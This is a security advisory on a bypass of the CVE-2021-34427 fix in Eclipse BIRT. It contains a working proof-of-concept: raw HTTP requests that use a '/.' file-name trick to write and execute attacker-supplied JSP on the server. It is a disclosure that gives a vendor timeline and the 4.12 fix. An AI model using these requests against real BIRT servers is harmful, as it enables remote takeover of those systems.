SEC Consult Vulnerability Lab Security Advisory < 20221216-0 >
=======================================================================
title: Remote code execution - CVE-2021-34427 bypass
product: Eclipse Business Intelligence Reporting Tool (BiRT)
vulnerable version: <= 4.11.0
fixed version: 4.12
CVE number: CVE-2021-34427
impact: High
homepage: https://eclipse.github.io/birt-website/
found: 2022-10-05
by: Armin Stock (Atos)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
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Vendor description:
-------------------
"With BIRT you can create data visualizations, dashboards and reports
that can be embedded into web applications and rich clients. Make information out
of your data!"
https://eclipse.github.io/birt-website/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Remote code execution - CVE-2021-34427 bypass
The vulnerability described in CVE-2021-34427 (https://www.cvedetails.com/cve/CVE-2021-34427/)
allows an attacker to execute code on the server, by creating a `.jsp` file
with the `BiRT - WebViewerExample`. This was fixed with the following code:
-------------------------------------------------------------------------------
// viewer/org.eclipse.birt.report.viewer/birt/WEB-INF/classes/org/eclipse/birt/report/context/ViewerAttributeBean.java#L1081
protected static void checkExtensionAllowedForRPTDocument(String rptDocumentName) throws ViewerException {
int extIndex = rptDocumentName.lastIndexOf(".");
String extension = null;
boolean validExtension = true;
if (extIndex > -1 && (extIndex + 1) < rptDocumentName.length()) {
extension = rptDocumentName.substring(extIndex + 1);
if (!disallowedExtensionsForRptDocument.isEmpty()
&& disallowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!allowedExtensionsForRptDocument.isEmpty() && !allowedExtensionsForRptDocument.contains(extension)) {
validExtension = false;
}
if (!validExtension) {
throw new ViewerException(BirtResources.getMessage(
ResourceConstants.ERROR_INVALID_EXTENSION_FOR_DOCUMENT_PARAMETER, new String[] { extension }));
}
}
}
-------------------------------------------------------------------------------
This fix can be easily bypassed by adding `/.` to the filename which allows
an attacker to execute arbitrary code.
Proof of concept:
-----------------
1) Remote code execution - CVE-2021-34427 bypass
The old exploit results in an error message:
-------------------------------------------------------------------------------
GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200
Set-Cookie: JSESSIONID=A1E37E7FEC80DFFF155CAF9F642ADEB7; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 06:14:54 GMT
Connection: close
Content-Length: 4644
<html>
<head>
<title>Error</title>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"/>
</head>
<body>
<div id="birt_errorPage" style="color:red">
<span id="error_icon" style="cursor:pointer" onclick="if (document.getElementById('error_detail').style.display == 'none') { document.getElementById('error_icon').innerHTML = '- ';
document.getElementById('error_detail').style.display = 'block'; }else { document.getElementById('error_icon').innerHTML = '+ '; document.getElementById('error_detail').style.display = 'none'; }" > +
</span>
Invalid extension - "jsp" for the __document parameter.
-------------------------------------------------------------------------------
But adding `/.` to the end of the filename creates the file on the server as
before:
-------------------------------------------------------------------------------
GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " +
getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp/.<@/urlencode> HTTP/1.1
Host: IP:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
HTTP/1.1 200
Set-Cookie: JSESSIONID=5CC070E6E07D94816BF67A162E7DD8D2; Path=/birt; HttpOnly
Content-Type: text/html;charset=utf-8
Date: Wed, 05 Oct 2022 05:26:01 GMT
Connection: close
Content-Length: 283
<html><head><title>Complete</title><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></head>
<body style="background-color: #ECE9D8;">
<div style="font-size:10pt;"><font color="black">
The report document file has been generated successfully.</font>
</div></body></html>
-------------------------------------------------------------------------------
This allows the execution of the provided `JSP` code, by calling
`/birt/test/info-new.jsp`.
Vulnerable / tested versions:
-----------------------------
The following version has been tested, but all versions <= 4.11 are vulnerable.
* 4.10.0 (2022-10-01)
Vendor contact timeline:
------------------------
2022-11-07: Vendor contacted via bugs.eclipse.org (https://bugs.eclipse.org/bugs/show_bug.cgi?id=580994)
2022-11-17: Vendor confirmed the bypass and is working on a fix.
2022-11-17: Vendor provided a fix.
2022-11-27: The fix was tested and could be bypassed again.
2022-11-27: Vendor acknowledged the bypass and provided a new fix.
2022-11-28: The fix was tested and we were not able to bypass it.
2022-11-30: Vendor releases patched version 4.12
2022-12-16: Public release of security advisory.
Solution:
---------
Update Eclipse BIRT to version 4.12 or newer from the vendor's website:
https://projects.eclipse.org/projects/technology.birt/releases/4.12.0
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
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EOF Armin Stock / @2022
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